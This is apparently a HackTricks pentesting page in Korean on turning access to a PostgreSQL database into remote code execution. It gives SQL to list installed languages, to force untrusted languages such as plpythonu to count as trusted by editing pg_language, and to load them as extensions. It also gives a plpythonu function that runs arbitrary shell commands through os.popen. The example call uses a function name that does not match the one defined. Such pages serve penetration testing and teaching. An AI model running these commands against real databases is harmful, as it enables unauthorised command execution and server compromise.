RCE with PostgreSQL Languages

Support HackTricks

PostgreSQL Languages

당신이 접근할 수 있는 PostgreSQL 데이터베이스에는 임의 코드를 실행하기 위해 악용할 수 있는 다양한 스크립팅 언어가 설치되어 있을 수 있습니다.

당신은 그것들을 실행할 수 있습니다:

\dL *

SELECT lanname,lanpltrusted,lanacl FROM pg_language;

대부분의 스크립팅 언어는 PostgreSQL에 설치할 수 있으며 2가지 종류가 있습니다: 신뢰된신뢰되지 않은. 신뢰되지 않은 언어는 "u"로 끝나는 이름을 가지며, 코드를 실행하고 다른 흥미로운 기능을 사용할 수 있는 버전입니다. 설치된 경우 흥미로운 언어는 다음과 같습니다:

  • plpythonu

  • plpython3u

  • plperlu

  • pljavaU

  • plrubyu

  • ... (안전하지 않은 버전을 사용하는 다른 프로그래밍 언어)

흥미로운 언어가 설치되어 있지만 PostgreSQL에 의해 신뢰되지 않는 경우 (**lanpltrusted**가 **false**인 경우) 다음 줄을 사용하여 신뢰할 수 있도록 시도할 수 있습니다. PostgreSQL에 의해 제한이 적용되지 않습니다:

UPDATE pg_language SET lanpltrusted=true WHERE lanname='plpythonu';
# To check your permissions over the table pg_language
SELECT * FROM information_schema.table_privileges WHERE table_name = 'pg_language';

언어가 보이지 않으면 (슈퍼관리자여야 함): 로드해 보십시오.

CREATE EXTENSION plpythonu;
CREATE EXTENSION plpython3u;
CREATE EXTENSION plperlu;
CREATE EXTENSION pljavaU;
CREATE EXTENSION plrubyu;

안전한 버전을 "안전하지 않음"으로 컴파일하는 것이 가능하다는 점에 유의하세요. 예를 들어 이것을 확인하세요. 따라서 신뢰할 수 있는 버전만 설치되어 있더라도 코드를 실행할 수 있는지 시도해 볼 가치가 항상 있습니다.

plpythonu/plpython3u

CREATE OR REPLACE FUNCTION exec (cmd text)
RETURNS VARCHAR(65535) stable
AS $$
import os
return os.popen(cmd).read()
#return os.execve(cmd, ["/usr/lib64/pgsql92/bin/psql"], {})
$$
LANGUAGE 'plpythonu';

SELECT cmd("ls"); #RCE with popen or execve

pgSQL

다음 페이지를 확인하세요:

PL/pgSQL Password Bruteforce

C

다음 페이지를 확인하세요:

RCE with PostgreSQL Extensions
HackTricks 지원하기

Last updated